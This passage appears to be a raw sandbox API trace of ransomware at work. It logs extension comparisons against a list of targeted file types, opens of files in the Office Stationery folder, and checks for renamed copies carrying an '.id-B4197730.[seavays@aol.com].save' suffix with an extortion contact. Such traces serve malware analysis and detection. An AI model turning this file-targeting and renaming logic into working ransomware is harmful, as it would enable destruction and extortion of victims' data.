lpString2=".ini") returned 1 [0056.182] lstrlenW (lpString=".bz2") returned 4 [0056.182] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.182] lstrlenW (lpString=".7z") returned 3 [0056.182] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.182] lstrlenW (lpString=".dbf") returned 4 [0056.182] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.182] lstrlenW (lpString=".1cd") returned 4 [0056.182] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0056.182] lstrlenW (lpString=".jpg") returned 4 [0056.182] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.182] lstrcmpiW (lpString1=".htm", lpString2=".save") returned -1 [0056.183] lstrlenW (lpString="Garden.htm") returned 10 [0056.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.183] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=231) returned 1 [0056.183] CloseHandle (hObject=0x34c) returned 1 [0056.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0056.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString=".doc") returned 4 [0056.184] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.184] lstrlenW (lpString=".docx") returned 5 [0056.184] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0056.184] lstrlenW (lpString=".pdf") returned 4 [0056.184] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString=".xls") returned 4 [0056.184] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString=".xlsx") returned 5 [0056.184] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0056.184] lstrlenW (lpString=".ppt") returned 4 [0056.184] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString=".zip") returned 4 [0056.184] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString=".rar") returned 4 [0056.184] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString=".bz2") returned 4 [0056.184] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.184] lstrlenW (lpString=".7z") returned 3 [0056.184] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString=".dbf") returned 4 [0056.184] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString=".1cd") returned 4 [0056.184] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.184] lstrlenW (lpString=".jpg") returned 4 [0056.184] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString=".doc") returned 4 [0056.185] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.185] lstrlenW (lpString=".docx") returned 5 [0056.185] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0056.185] lstrlenW (lpString=".pdf") returned 4 [0056.185] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.185] lstrlenW (lpString=".xls") returned 4 [0056.185] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.185] lstrlenW (lpString=".xlsx") returned 5 [0056.185] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0056.185] lstrlenW (lpString=".ppt") returned 4 [0056.185] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString=".zip") returned 4 [0056.185] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.185] lstrlenW (lpString=".rar") returned 4 [0056.185] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.185] lstrlenW (lpString=".bz2") returned 4 [0056.185] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.185] lstrlenW (lpString=".7z") returned 3 [0056.185] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString=".dbf") returned 4 [0056.185] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString=".1cd") returned 4 [0056.185] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0056.185] lstrlenW (lpString=".jpg") returned 4 [0056.185] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.186] lstrcmpiW (lpString1=".jpg", lpString2=".save") returned -1 [0056.186] lstrlenW (lpString="Garden.jpg") returned 10 [0056.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.186] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=23871) returned 1 [0056.186] CloseHandle (hObject=0x34c) returned 1 [0056.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0056.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString=".doc") returned 4 [0056.187] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.187] lstrlenW (lpString=".docx") returned 5 [0056.187] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0056.187] lstrlenW (lpString=".pdf") returned 4 [0056.187] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.187] lstrlenW (lpString=".xls") returned 4 [0056.187] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.187] lstrlenW (lpString=".xlsx") returned 5 [0056.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0056.187] lstrlenW (lpString=".ppt") returned 4 [0056.187] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString=".zip") returned 4 [0056.187] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.187] lstrlenW (lpString=".rar") returned 4 [0056.187] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.187] lstrlenW (lpString=".bz2") returned 4 [0056.187] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.187] lstrlenW (lpString=".7z") returned 3 [0056.187] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString=".dbf") returned 4 [0056.187] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString=".1cd") returned 4 [0056.187] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.187] lstrlenW (lpString=".jpg") returned 4 [0056.187] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0056.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString=".doc") returned 4 [0056.188] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.188] lstrlenW (lpString=".docx") returned 5 [0056.188] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0056.188] lstrlenW (lpString=".pdf") returned 4 [0056.188] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.188] lstrlenW (lpString=".xls") returned 4 [0056.188] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.188] lstrlenW (lpString=".xlsx") returned 5 [0056.188] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0056.188] lstrlenW (lpString=".ppt") returned 4 [0056.188] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString=".zip") returned 4 [0056.188] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.188] lstrlenW (lpString=".rar") returned 4 [0056.188] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.188] lstrlenW (lpString=".bz2") returned 4 [0056.188] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.188] lstrlenW (lpString=".7z") returned 3 [0056.188] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString=".dbf") returned 4 [0056.188] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0056.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString=".1cd") returned 4 [0056.188] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0056.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0056.188] lstrlenW (lpString=".jpg") returned 4 [0056.188] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0056.189] lstrcmpiW (lpString1=".htm", lpString2=".save") returned -1 [0056.189] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0056.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.189] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=237) returned 1 [0056.189] CloseHandle (hObject=0x34c) returned 1 [0056.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0056.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.189] lstrlenW (lpString=".doc") returned 4 [0056.189] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.189] lstrlenW (lpString=".docx") returned 5 [0056.189] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.189] lstrlenW (lpString=".pdf") returned 4 [0056.189] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.189] lstrlenW (lpString=".xls") returned 4 [0056.189] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.189] lstrlenW (lpString=".xlsx") returned 5 [0056.189] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.189] lstrlenW (lpString=".ppt") returned 4 [0056.189] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".zip") returned 4 [0056.190] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString=".rar") returned 4 [0056.190] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString=".bz2") returned 4 [0056.190] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.190] lstrlenW (lpString=".7z") returned 3 [0056.190] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".dbf") returned 4 [0056.190] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".1cd") returned 4 [0056.190] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".jpg") returned 4 [0056.190] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".doc") returned 4 [0056.190] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.190] lstrlenW (lpString=".docx") returned 5 [0056.190] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.190] lstrlenW (lpString=".pdf") returned 4 [0056.190] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString=".xls") returned 4 [0056.190] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString=".xlsx") returned 5 [0056.190] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.190] lstrlenW (lpString=".ppt") returned 4 [0056.190] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.190] lstrlenW (lpString=".zip") returned 4 [0056.190] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.191] lstrlenW (lpString=".rar") returned 4 [0056.191] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.191] lstrlenW (lpString=".bz2") returned 4 [0056.191] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.191] lstrlenW (lpString=".7z") returned 3 [0056.191] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.191] lstrlenW (lpString=".dbf") returned 4 [0056.191] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.191] lstrlenW (lpString=".1cd") returned 4 [0056.191] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0056.191] lstrlenW (lpString=".jpg") returned 4 [0056.191] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.191] lstrcmpiW (lpString1=".jpg", lpString2=".save") returned -1 [0056.191] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0056.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.194] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6406) returned 1 [0056.194] CloseHandle (hObject=0x34c) returned 1 [0056.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0056.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.194] lstrlenW (lpString=".doc") returned 4 [0056.195] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.195] lstrlenW (lpString=".docx") returned 5 [0056.195] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0056.195] lstrlenW (lpString=".pdf") returned 4 [0056.195] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.195] lstrlenW (lpString=".xls") returned 4 [0056.195] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.195] lstrlenW (lpString=".xlsx") returned 5 [0056.195] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0056.195] lstrlenW (lpString=".ppt") returned 4 [0056.195] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString=".zip") returned 4 [0056.195] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.195] lstrlenW (lpString=".rar") returned 4 [0056.195] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.195] lstrlenW (lpString=".bz2") returned 4 [0056.195] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.195] lstrlenW (lpString=".7z") returned 3 [0056.195] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString=".dbf") returned 4 [0056.195] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString=".1cd") returned 4 [0056.195] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString=".jpg") returned 4 [0056.195] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.195] lstrlenW (lpString=".doc") returned 4 [0056.195] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.196] lstrlenW (lpString=".docx") returned 5 [0056.196] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0056.196] lstrlenW (lpString=".pdf") returned 4 [0056.196] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.196] lstrlenW (lpString=".xls") returned 4 [0056.196] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.196] lstrlenW (lpString=".xlsx") returned 5 [0056.196] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0056.196] lstrlenW (lpString=".ppt") returned 4 [0056.196] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.196] lstrlenW (lpString=".zip") returned 4 [0056.196] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.196] lstrlenW (lpString=".rar") returned 4 [0056.196] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.196] lstrlenW (lpString=".bz2") returned 4 [0056.196] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.196] lstrlenW (lpString=".7z") returned 3 [0056.196] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.196] lstrlenW (lpString=".dbf") returned 4 [0056.196] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.196] lstrlenW (lpString=".1cd") returned 4 [0056.196] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0056.196] lstrlenW (lpString=".jpg") returned 4 [0056.196] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0056.196] lstrcmpiW (lpString1=".htm", lpString2=".save") returned -1 [0056.196] lstrlenW (lpString="Hand Prints.htm") returned 15 [0056.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.197] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=235) returned 1 [0056.197] CloseHandle (hObject=0x34c) returned 1 [0056.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0056.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".doc") returned 4 [0056.198] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.198] lstrlenW (lpString=".docx") returned 5 [0056.198] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.198] lstrlenW (lpString=".pdf") returned 4 [0056.198] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.198] lstrlenW (lpString=".xls") returned 4 [0056.198] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.198] lstrlenW (lpString=".xlsx") returned 5 [0056.198] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.198] lstrlenW (lpString=".ppt") returned 4 [0056.198] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".zip") returned 4 [0056.198] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.198] lstrlenW 